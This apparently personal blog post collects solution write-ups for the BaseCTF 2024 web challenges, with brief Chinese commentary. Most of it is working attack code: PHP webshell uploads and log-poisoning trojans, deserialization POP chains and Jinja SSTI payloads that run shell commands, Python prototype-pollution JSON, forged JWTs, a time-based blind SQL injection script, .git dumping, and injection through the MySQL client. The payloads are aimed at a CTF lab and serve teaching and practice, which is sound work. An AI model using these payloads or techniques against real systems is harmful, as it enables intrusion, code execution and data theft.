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BaseCTF2024 web

6 人参与  2024年11月28日 16:01  分类 : 《我的小黑屋》  评论

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Web

[Week1] HTTP 是什么呀
GET: ?basectf=%77%65%31%63%25%30%30%6d%65POST: Base=fl@gX-Forwarded-For:127.0.0.1Referer: BaseCookie: c00k13=i can't eat itUser-Agent: Base

有Location跳转, 抓包得到flag:

QmFzZUNURntkZGUzZjA0Yy1hMDg5LTQwNGMtOTFjNi01ODZjMzAxMzM3Y2J9Cg==BaseCTF{dde3f04c-a089-404c-91c6-586c301337cb}
[Week1] 喵喵喵´•ﻌ•`
?DT=system("cat /flag");
[Week1] md5绕过欸
GET: ?name[]=1&name2[]=1POST: password[]=2&password2[]=2
[Week1] A Dark Room

查看源码可以找到flag

[Week1] upload

没有过滤, 上传一个 1.php文件
访问 uploads/1.php

<?=eval($_POST[1]);?>

直接执行命令就行

[Week1] Aura 酱的礼物
<?phphighlight_file(__FILE__);// Aura 酱,欢迎回家~// 这里有一份礼物,请你签收一下哟~$pen = $_POST['pen'];if (file_get_contents($pen) !== 'Aura'){    die('这是 Aura 的礼物,你不是 Aura!');}// 礼物收到啦,接下来要去博客里面写下感想哦~$challenge = $_POST['challenge'];if (strpos($challenge, 'http://jasmineaura.github.io') !== 0){    die('这不是 Aura 的博客!');}$blog_content = file_get_contents($challenge);if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false){    die('请去博客里面写下感想哦~');}// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~$gift = $_POST['gift'];include($gift);

绕过前面的die, 到最后的include() 利用伪协议读取文件

$challenge = $_POST['challenge'];if (strpos($challenge, 'http://jasmineaura.github.io') !== 0){    die('这不是 Aura 的博客!');}$blog_content = file_get_contents($challenge);if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false){    die('请去博客里面写下感想哦~');}

主要是这块卡住了一下, challenge需要以http://jasmineaura.github.io开头, 用了file_get_contents函数读取了这个地址的内容 , 需要里面的内容包括 已经收到Kengwang的礼物啦 , 但是那个地址里面的内容是不可控的, 里面也不存在一个这样的内容, 所以可以想到需要一个地址里面的内容可控, 这个时候就会想到使用 @ 这个符号,
http://jasmineaura.github.io@www.baidu.com , 这个地址实际上会跳转到 后面那个百度的地址,
所以直接替换为题目的网址,因为题目本身就存在 已经收到Kengwang的礼物啦 这个内容, 满足条件, 绕过进入到后面的include()

payload:

pen=data://text/plain,Aura&challenge=http://jasmineaura.github.io@challenge.basectf.fun:35127/&gift=php://filter/convert.base64-encode/resource=flag.php
[Week2] ez_ser

题目:

<?phphighlight_file(__FILE__);error_reporting(0);class re{    public $chu0;    public function __toString(){        if(!isset($this->chu0)){            return "I can not believes!";        }        $this->chu0->$nononono;    }}class web {    public $kw;    public $dt;    public function __wakeup() {        echo "lalalla".$this->kw;    }    public function __destruct() {        echo "ALL Done!";    }}class pwn {    public $dusk;    public $over;    public function __get($name) {        if($this->dusk != "gods"){            echo "什么,你竟敢不认可?";        }        $this->over->getflag();    }}class Misc {    public $nothing;    public $flag;    public function getflag() {        eval("system('cat /flag');");    }}class Crypto {    public function __wakeup() {        echo "happy happy happy!";    }    public function getflag() {        echo "you are over!";    }}$ser = $_GET['ser'];unserialize($ser);?>

poc:

<?phpclass web{    public $kw;}class re{    public $chu0;}class pwn{    public $over;}class Misc{}$a=new web();$a->kw=new re();$a->kw->chu0=new pwn();$a->kw->chu0->over=new Misc();echo urlencode(serialize($a));
[Week2] 一起吃豆豆

在index.js里面可以直接找到flag, base64解密一下就行

在这里插入图片描述

[Week2] 你听不到我的声音
<?phphighlight_file(__FILE__);shell_exec($_POST['cmd']);

shell_exec 执行命令没有回显

使用tee命令cmd=cat /flag | tee 1.txt或者使用 ">" 直接将结果重定向到1.txtcmd=cat /flag > 1.txt将执行命令的结果输出到1.txt, 访问 /1.txt
[Week2] RCEisamazingwithspace
 <?phphighlight_file(__FILE__);$cmd = $_POST['cmd'];// check if space is present in the command// use of preg_match to check if space is present in the commandif (preg_match('/\s/', $cmd)) {    echo 'Space not allowed in command';    exit;}// execute the commandsystem($cmd); 

不能有space 用${IFS}绕过

cmd=cat${IFS}/flag
[Week2] 所以你说你懂 MD5?
<?phpsession_start();highlight_file(__FILE__);// 所以你说你懂 MD5 了?$apple = $_POST['apple'];$banana = $_POST['banana'];if (!($apple !== $banana && md5($apple) === md5($banana))) {    die('加强难度就不会了?');}// 什么? 你绕过去了?// 加大剂量!// 我要让他成为 string$apple = (string)$_POST['appple'];$banana = (string)$_POST['bananana'];if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {    die('难吗?不难!');}// 你还是绕过去了?// 哦哦哦, 我少了一个等于号$apple = (string)$_POST['apppple'];$banana = (string)$_POST['banananana'];if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {    die('嘻嘻, 不会了? 没看直播回放?');}// 你以为这就结束了if (!isset($_SESSION['random'])) {    $_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));}// 你想看到 random 的值吗?// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧$random = $_SESSION['random'];echo md5($random);echo '<br />';$name = $_POST['name'] ?? 'user';// check if name ends with 'admin'if (substr($name, -5) !== 'admin') {    die('不是管理员也来凑热闹?');}$md5 = $_POST['md5'];if (md5($random . $name) !== $md5) {    die('伪造? NO NO NO!');}// 认输了, 看样子你真的很懂 MD5// 那 flag 就给你吧echo "看样子你真的很懂 MD5";echo file_get_contents('/flag');

最后一步存在一个hash长度扩展攻击
密钥长度指的是$random的字符长度

在这里插入图片描述

payload:(使用bp好一点, 直接在浏览器上传参好像不太行)

apple[]=1&banana[]=2&appple=QNKCDZO&bananana=240610708&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=44cb75883537fa9fdf714ac6fe69f908&apppple=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab&banananana=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab
[Week2] Really EZ POP

题目:

<?phphighlight_file(__FILE__);class Sink{    private $cmd = 'echo 123;';    public function __toString()    {        eval($this->cmd);    }}class Shark{    private $word = 'Hello, World!';    public function __invoke()    {        echo 'Shark says:' . $this->word;    }}class Sea{    public $animal;    public function __get($name)    {        $sea_ani = $this->animal;        echo 'In a deep deep sea, there is a ' . $sea_ani();    }}class Nature{    public $sea;    public function __destruct()    {        echo $this->sea->see;    }}if ($_POST['nature']) {    $nature = unserialize($_POST['nature']);}

poc:

<?php// highlight_file(__FILE__);class Sink{    private $cmd = 'system("cat /flag");';    public function __toString()    {        eval($this->cmd);    }}class Shark{    private $word = 'Hello, World!';//存在 private 字段, 由于 php 版本低于 7.1+, 所以我们需要保留好他的访问性    public function setWord($word) //关键, 控制到word的值    {        $this->word = $word;    }    public function __invoke()    {        echo 'Shark says:' . $this->word;    }}class Sea{    public $animal;    public function __get($name)    {        $sea_ani = $this->animal;        echo 'In a deep deep sea, there is a ' . $sea_ani();    }}class Nature{    public $sea;    public function __destruct()    {        echo $this->sea->see;    }}$a=new Nature();$a->sea=new Sea();$a->sea->animal=new Shark();$a->sea->animal->setWord(new Sink());echo urlencode(serialize($a));//O%3A6%3A%22Nature%22%3A1%3A%7Bs%3A3%3A%22sea%22%3BO%3A3%3A%22Sea%22%3A1%3A%7Bs%3A6%3A%22animal%22%3BO%3A5%3A%22Shark%22%3A1%3A%7Bs%3A11%3A%22%00Shark%00word%22%3BO%3A4%3A%22Sink%22%3A1%3A%7Bs%3A9%3A%22%00Sink%00cmd%22%3Bs%3A20%3A%22system%28%22cat+%2Fflag%22%29%3B%22%3B%7D%7D%7D%7D
[Week2] 数学大师
import reimport requestsreq=requests.session()url='http://challenge.basectf.fun:44878/'answer=0while True:    res=req.post(url=url,data={"answer":answer})    print(res.text)    regex=r"(\d*?)(.)(\d*)\?"    match=re.search(regex,res.text)    if match.group(2) == "+":        answer = int(match.group(1)) + int(match.group(3))    elif match.group(2) == "-":        answer = int(match.group(1)) - int(match.group(3))    elif match.group(2) == "×":        answer = int(match.group(1)) * int(match.group(3))    elif match.group(2) == "÷":        answer = int(match.group(1)) // int(match.group(3))    if "BaseCTF" in res.text:        print(res.text)        break
[Week3] 滤个不停

过滤了很多的协议, 使用日志包含绕过, 在UA头处写上一句话木马
<?php eval($_POST[1]);?>

POST:incompetent=HelloWorld&Datch=/var/log/nginx/access.log&1=system("cat /flag");
[Week3] ez_php_jail
$Jail = $_GET['Jail_by.Happy'];当 php 版本⼩于 8 时,GET 请求的参数名含有 . ,会被转为 _ ,但是如果参数名中有 [ ,这个 [ 会被直接转为 _ ,但是后⾯如果有 . ,这个 . 就不会被转为 _
?Jail[by.Happy=phpinfo(); 可以看到被禁用了很多函数highlight_file配合glob, glob 通常用于匹配符合特定规则的文件路径名, glob("/f*") 会搜索文件系统中所有以 /f 开头的文件或目录。然后,通过 [0] 索引选择第一个匹配的结果?Jail[by.Happy=highlight_file(glob("/fl*")[0]);
[Week3] 复读机

官方wp : https://j0zr0js7k7j.feishu.cn/wiki/XN3BwnHrZihQ3ZkhEyocb5EJnUd

过滤了很多, 前面主要通过, 字符拼接绕过关键子, 以及 [ ] 绕过 .

BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('ls')['rea''d']())%}

过滤了 /\ , 无法进入到根目录拿flag

法一:利用 chr 函数来构造出一个命令

先找到 chr

BaseCTF{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%}{% print(chr) %}

接着用 chr 搭配上数字构造出想要执行的命令

BaseCTF{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%}{% set cmd='cat '~chr(47)~'flag' %}{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}

最后把 cmd 作为 popen 的参数传递进去,即可得到 flag

同理,利用 format 来得到 / 也是可以的

BaseCTF{% set cmd='cat '~'%c'%(47)~'flag' %}{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}

法二:利用环境变量的值

查看环境变量,可以看到 OLDPWD=/

BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('env')['rea''d']())%}

此时可以直接利用它来切换到根目录,然后再读flag

BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('cd $OLDPWD;cat flag')['rea''d']())%}

法三:利用 expr substr 切割出一个 /

比如 pwd 中的第一个字符就是 / ,那用 expr substr 切割出来后,之后就可以像法二那样切换到根目录然后读 flag 了

BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('a=`pwd`;a=`substr $a 1 1`;cd $a;cat flag')['rea''d']())%}
[Week3] 玩原神玩的

题目

<?phphighlight_file(__FILE__);error_reporting(0);include 'flag.php';if (sizeof($_POST['len']) == sizeof($array)) {  ys_open($_GET['tip']);} else {  die("错了!就你还想玩原神?❌❌❌");}function ys_open($tip) {  if ($tip != "我要玩原神") {    die("我不管,我要玩原神!???");  }  dumpFlag();}function dumpFlag() {  if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {    die("可恶的QQ人!???");  }  $a = $_POST['m'][0];  $b = $_POST['m'][1];  if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {    die("某站崩了?肯定是某忽悠干的!???");  }  include 'flag.php';  $flag[] = array();  for ($ii = 0;$ii < sizeof($array);$ii++) {    $flag[$ii] = md5(ord($array[$ii]) ^ $ii);  }    echo json_encode($flag);}

payload

import requestsimport hashliburl='http://challenge.basectf.fun:46462/?tip=我要玩原神'payload=''for i in range(45): payload+='len['+str(i)+']=0&'# print(payload)header={'Content-Type': 'application/x-www-form-urlencoded'}payload+='m[0]=100%25&m[1]=love100%2530bd7ce7de206924302499f197c7a966'# %需要编码res=requests.post(url=url,data=payload,headers=header)print(res.text)#得到flag与索引异或的md5值flag_enc=["3295c76acbf4caaed33c36b1b5fc2cb1","26657d5ff9020d2abefe558796b99584","73278a4a86960eeb576a8fd4c9ec6997","ec8956637a99787bd197eacd77acce5e","e2c420d928d4bf8ce0ff2ec19b371514","43ec517d68b6edd3015b3edc9a11367b","ea5d2f1c4608232e07d3aa3d998e5135","c8ffe9a587b126f152ed3d89a146b445","072b030ba126b2f4b2374f342be9ed44","093f65e080a295f8076b1c5722a46aa2","a3c65c2974270fd093ee8a9bf8ae7d0b","2723d092b63885e0d7c260cc007e8b9d","72b32a1f754ba1c09b3695e0cb6cde7f","072b030ba126b2f4b2374f342be9ed44","698d51a19d8a121ce581499d7b701668","72b32a1f754ba1c09b3695e0cb6cde7f","7f39f8317fbdb1988ef4c628eba02591","a5771bce93e200c36f7cd9dfd0e5deaa","a5bfc9e07964f8dddeb95fc584cd965d","a5bfc9e07964f8dddeb95fc584cd965d","f7177163c833dff4b38fc8d2872f1ec6","9f61408e3afb633e50cdf1b20de6f466","e369853df766fa44e1ed0ff613f563bd","73278a4a86960eeb576a8fd4c9ec6997","182be0c5cdcd5072bb1864cdee4d3d6e","da4fb5c6e93e74d3df8527599fa62642","b53b3a3d6ab90ce0268229151c9bde11","4c56ff4ce4aaf9573aa5dff913df997a","f7177163c833dff4b38fc8d2872f1ec6","ec5decca5ed3d6b8079e2e7e7bacc9f2","d9d4f495e875a2e075a1a4a6e1b9770f","c0c7c76d30bd3dcaefc96f40275bdc0a","3295c76acbf4caaed33c36b1b5fc2cb1","ea5d2f1c4608232e07d3aa3d998e5135","735b90b4568125ed6c3f678819b6e058","7cbbc409ec990f19c78c75bd1e06f215","3295c76acbf4caaed33c36b1b5fc2cb1","e2c420d928d4bf8ce0ff2ec19b371514","70efdf2ec9b086079795c442636b55fb","c16a5320fa475530d9583c34fd356ef5","6ea9ab1baa0efb9e19094440c317e21b","02e74f10e0327ad868d138f2b4fdd6f0","d1fe173d08e959397adf34b1d77e88d7","34173cb38f07f89ddbebc2ac9128303f","43ec517d68b6edd3015b3edc9a11367b"]flag=''for i in range(45):    for j in range(126):        if((hashlib.md5(str(j^i).encode('utf-8'))).hexdigest()==flag_enc[i]):            flag+=chr(j)print(flag)# BaseCTF{42ff51a6-7768-4f9a-b0b0-baaefb7852e5}
[Week4] flag直接读取不就行了?
<?phphighlight_file('index.php');# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~error_reporting(0);$J1ng = $_POST['J'];$Hong = $_POST['H'];$Keng = $_GET['K'];$Wang = $_GET['W'];$dir = new $Keng($Wang);foreach($dir as $f) {    echo($f . '<br>');}echo new $J1ng($Hong);?>

php的原生类遍历目录和读取文件

GET:?K=GlobIterator&W=glob:///secret/*POST:J=SplFileObject&H=php://filter/read=convert.base64-encode/resource=/secret/f11444g.php
[Week4] 圣钥之战1.0
from flask import Flask,requestimport jsonapp = Flask(__name__)def merge(src, dst):    for k, v in src.items():        if hasattr(dst, '__getitem__'):            if dst.get(k) and type(v) == dict:                merge(v, dst.get(k))            else:                dst[k] = v        elif hasattr(dst, k) and type(v) == dict:            merge(v, getattr(dst, k))        else:            setattr(dst, k, v)def is_json(data):    try:        json.loads(data)        return True    except ValueError:        return Falseclass cls():    def __init__(self):        passinstance = cls()@app.route('/', methods=['GET', 'POST'])def hello_world():    return open('/static/index.html', encoding="utf-8").read()@app.route('/read', methods=['GET', 'POST'])def Read():    file = open(__file__, encoding="utf-8").read()    return f"J1ngHong说:你想read flag吗?那么圣钥之光必将阻止你!但是小小的源码没事,因为你也读不到flag(乐){file}"@app.route('/pollute', methods=['GET', 'POST'])def Pollution():    if request.is_json:        merge(json.loads(request.data),instance)    else:        return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"    return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"if __name__ == '__main__':    app.run(host='0.0.0.0',port=80)

python原型链污染, 看到read路由

@app.route('/read', methods=['GET', 'POST'])def Read():    file = open(__file__, encoding="utf-8").read()    return f"J1ngHong说:你想read flag吗?那么圣钥之光必将阻止你!但是小小的源码没事,因为你也读不到flag(乐){file}"

可以读取文件, 那么尝试能否读取到 /flag , 这就需要将其给污染了

/pollute路由

merge(json.loads(request.data),instance)

instance = cls()

可以直接通过 __init__.__globals__获取到全局变量, 然后获取到 __file__属性, 污染它的值
通过 __file__就可以任意读取文件了

{"__init__":{"__globals__":{"__file__":"/flag"}}}

在这里插入图片描述

然后再访问 /read 路由就可以得到flag了

[Week4] No JWT
from flask import Flask, request, jsonifyimport jwtimport datetimeimport osimport randomimport stringapp = Flask(__name__)# 随机生成 secret_keyapp.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))# 登录接口@app.route('/login', methods=['POST'])def login():    data = request.json    username = data.get('username')    password = data.get('password')    # 其他用户都给予 user 权限    token = jwt.encode({            'sub': username,            'role': 'user',  # 普通用户角色            'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)        }, app.secret_key, algorithm='HS256')    return jsonify({'token': token}), 200# flag 接口@app.route('/flag', methods=['GET'])def flag():    token = request.headers.get('Authorization')        if token:        try:            decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})            # 检查用户角色是否为 admin            if decoded.get('role') == 'admin':                with open('/flag', 'r') as f:                    flag_content = f.read()                return jsonify({'flag': flag_content}), 200            else:                return jsonify({'message': 'Access denied: admin only'}), 403                    except FileNotFoundError:            return jsonify({'message': 'Flag file not found'}), 404        except jwt.ExpiredSignatureError:            return jsonify({'message': 'Token has expired'}), 401        except jwt.InvalidTokenError:            return jsonify({'message': 'Invalid token'}), 401    return jsonify({'message': 'Token is missing'}), 401if __name__ == '__main__':    app.run(debug=True)

没有对签名算法进行校验

options={"verify_signature": False, "verify_exp": False}

在 login 路由下登录, 会得到token

直接在线网站解密一下, 将 role对应的值改为 admin, 然后再编码得到token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTcyNjkzNTQxMH0.epapiT7xS_oQ34oTScv6wdgoH4yQ5-51Q4OoArFIHJw

访问/flag路由, 加上Authorization头 以及相应的token

jwt.decode(token.split(" ")[1]注意到题目是取的以空格为分割后的第二部分所以token前面随便加点东西, 然后空格,再是token

在这里插入图片描述

[Week4] only one sql
<?phphighlight_file(__FILE__);$sql = $_GET['sql'];if (preg_match('/select|;|@|\n/i', $sql)) {    die("你知道的,不可能有sql注入");}if (preg_match('/"|\$|`|\\\\/i', $sql)) {    die("你知道的,不可能有RCE");}//flag in ctf.flag$query = "mysql -u root -p123456 -e \"use ctf;select '没有select,让你执行一句又如何';" . $sql . "\"";system($query);

可以通过show tables 看到表, 通过show columns from flag 看到列

然后通过时间盲注的方式匹配查找flag

import requestsimport stringimport timeStr=string.ascii_lowercase+string.digits+'{}'+'-'url="http://challenge.basectf.fun:26148/?sql=delete from flag where data like '"end="%' and sleep(2)"flag=''for i in range(60):    for j in Str:        payload = url + flag + j + end        Stime = time.time()        res = requests.get(url=payload,proxies={"http": None, "https": None})        Etime = time.time()        if Etime - Stime > 1:            flag += j            print(flag)            break# basectf{2c49fcf8-afe0-43aa-a1b2-f978aada8667}
[Fin] Back to the future

抓个包, 返回包有一个比较奇怪的头, 以及它的值 ETag: "66db1990-4d"
访问了一下 url/66db1990-4d, 竟然是一个phpinfo() , 不过对这道题好像没用

访问 /robots.txt , 给了一个 /.git
可以通过 GitHacker 来获取 .git 的全部内容
工具: https://github.com/WangYihang/GitHacker

githacker --url http://challenge.basectf.fun:44943/ --output resultcd resultcd 8fff59a223ea872b77afc3587c59ebd6 git log  #查看 git 历史git checkout 9d85f10e0192ef630e10d7f876a117db41c30417  #切换到相应的分支ls --> flag.txtcat flag.txt
[Fin] 1z_php
<?phphighlight_file('index.php');# 我记得她...好像叫flag.php吧?$emp=$_GET['e_m.p'];$try=$_POST['try'];if($emp!="114514"&&intval($emp,0)===114514){    for ($i=0;$i<strlen($emp);$i++){        if (ctype_alpha($emp[$i])){            die("你不是hacker?那请去外场等候!");        }    }    echo "只有真正的hacker才能拿到flag!"."<br>";    if (preg_match('/.+?HACKER/is',$try)){        die("你是hacker还敢自报家门呢?");    }    if (!stripos($try,'HACKER') === TRUE){        die("你连自己是hacker都不承认,还想要flag呢?");    }    $a=$_GET['a'];    $b=$_GET['b'];    $c=$_GET['c'];    if(stripos($b,'php')!==0){        die("收手吧hacker,你得不到flag的!");    }    echo (new $a($b))->$c();}else{    die("114514到底是啥意思嘞?。?");}# 觉得困难的话就直接把shell拿去用吧,不用谢~$shell=$_POST['shell'];eval($shell);?>

preg_match回溯次数的绕过: 如果回溯次数超过1000000 , preg_match会返回false

利用php原生类 SplFileObject 读取flag文件

import requestsurl='http://challenge.basectf.fun:46032/?e[m.p=114514.1&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=__toString'data= {"try":"1"*1000001+"HACKER"}res=requests.post(url=url,data=data,proxies={"http": None, "https": None})print(res.text)
[Fin] Jinja Mark

在/flag路由下, 通过burp爆破出幸运数字, 拿到一部分源码

有一个merge函数, 存在python的原型链污染

BLACKLIST_IN_index = ['{','}']def merge(src, dst):    for k, v in src.items():        if hasattr(dst, '__getitem__'):            if dst.get(k) and type(v) == dict:                merge(v, dst.get(k))            else:                dst[k] = v        elif hasattr(dst, k) and type(v) == dict:            merge(v, getattr(dst, k))        else:            setattr(dst, k, v)@app.route('/magic',methods=['POST', 'GET'])def pollute():    if request.method == 'POST':        if request.is_json:            merge(json.loads(request.data), instance)            return "这个魔术还行吧"        else:            return "我要json的魔术"    return "记得用POST方法把魔术交上来"

在/magic路由下污染, 因为在/index路由下{被过滤了, 经过污染后, 通过<<替代{{

{"__init__":{"__globals__":{"app":{"jinja_env":{"variable_start_string" : "<<","variable_end_string":">>"}}}}}

在/index路由下

<<lipsum.__globals__['os'].popen('cat /flag').read()>>
[Fin] Lucky Number

/flag 路由下给了源码

from flask import Flask,request,render_template_string,render_templatefrom jinja2 import Templateimport jsonimport heavendef merge(src, dst):    for k, v in src.items():        if hasattr(dst, '__getitem__'):            if dst.get(k) and type(v) == dict:                merge(v, dst.get(k))            else:                dst[k] = v        elif hasattr(dst, k) and type(v) == dict:            merge(v, getattr(dst, k))        else:            setattr(dst, k, v)class cls():    def __init__(self):        passinstance = cls()BLACKLIST_IN_index = ['{','}']def is_json(data):    try:        json.loads(data)        return True    except ValueError:        return False@app.route('/m4G1c',methods=['POST', 'GET'])def pollute():    if request.method == 'POST':        if request.is_json:            merge(json.loads(request.data), instance)            result = heaven.create()            message = result["message"]            return "这个魔术还行吧" + message        else:            return "我要json的魔术"    return "记得用POST方法把魔术交上来"#heaven.pydef create(kon="Kon", pure="Pure", *, confirm=False):    if confirm and "lucky_number" not in create.__kwdefaults__:        return {"message": "嗯嗯,我已经知道你要创造东西了,但是你怎么不告诉我要创造什么?", "lucky_number": "nope"}    if confirm and "lucky_number" in create.__kwdefaults__:        return {"message": "这是你的lucky_number,请拿好,去/check下检查一下吧", "lucky_number": create.__kwdefaults__["lucky_number"]}    return {"message": "你有什么想创造的吗?", "lucky_number": "nope"}

python的原型链污染, 最终需要创造出那个幸运数字:5346

需要进入到heaben.py里面污染, 所以要通过sys模块获取, 然后当前代码中也没有导入sys模块,
所以采用**__spec__内置属性来获取sys模块, 也就是<模块名>.__spec__.__init__.__globals__['sys']**获取到sys模块

{    "__init__": {        "__globals__": {            "json":{                "__spec__":{                    "__init__" : {                        "__globals__" : {                            "sys" : {                                "modules" : {                                    "heaven" : {                                        "create" : {                                              "__kwdefaults__" : {                                              "confirm" : true,                                              "lucky_number" : "5346"                                             }                                         }                                    }                                }                            }                        }                    }                }            }        }    }}

污染后提示去/check检查, 然后让到/ssSstTti1 下进行ssti

{{lipsum.__globals__['os'].popen('cat /flag').read()}}
[Fin] RCE or Sql Inject
<?phphighlight_file(__FILE__);$sql = $_GET['sql'];if (preg_match('/se|ec|;|@|del|into|outfile/i', $sql)) {    die("你知道的,不可能有sql注入");}if (preg_match('/"|\$|`|\\\\/i', $sql)) {    die("你知道的,不可能有RCE");}$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";system($query);

mysql命令行程序的命令执行, 输入一个 ? 可以查看到一些帮助信息, 显示有system 命令, 直接利用进行rce
(应该跟版本有关, 我本地不存在system命令)

通过换行符绕过注释

?sql=%0asystem env
[Fin] Sql Inject or RCE
<?phphighlight_file(__FILE__);$sql = $_GET['sql'];if (preg_match('/se|ec|st|;|@|delete|into|outfile/i', $sql)) {    die("你知道的,不可能有sql注入");}if (preg_match('/"|\$|`|\\\\/i', $sql)) {    die("你知道的,不可能有RCE");}$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";system($query);
?sql=%0ashow tables?sql=%0ashow columns from flag看到表名和列名

利用delimiter 关键字, 可以修改sql语句的结束符, 从而可以打堆叠注入
利用 handler 关键字读取表的内容

payload:?sql=%0adelimiter >>%0ahandler flag open>>handler flag read next>>
[Fin] ez_php
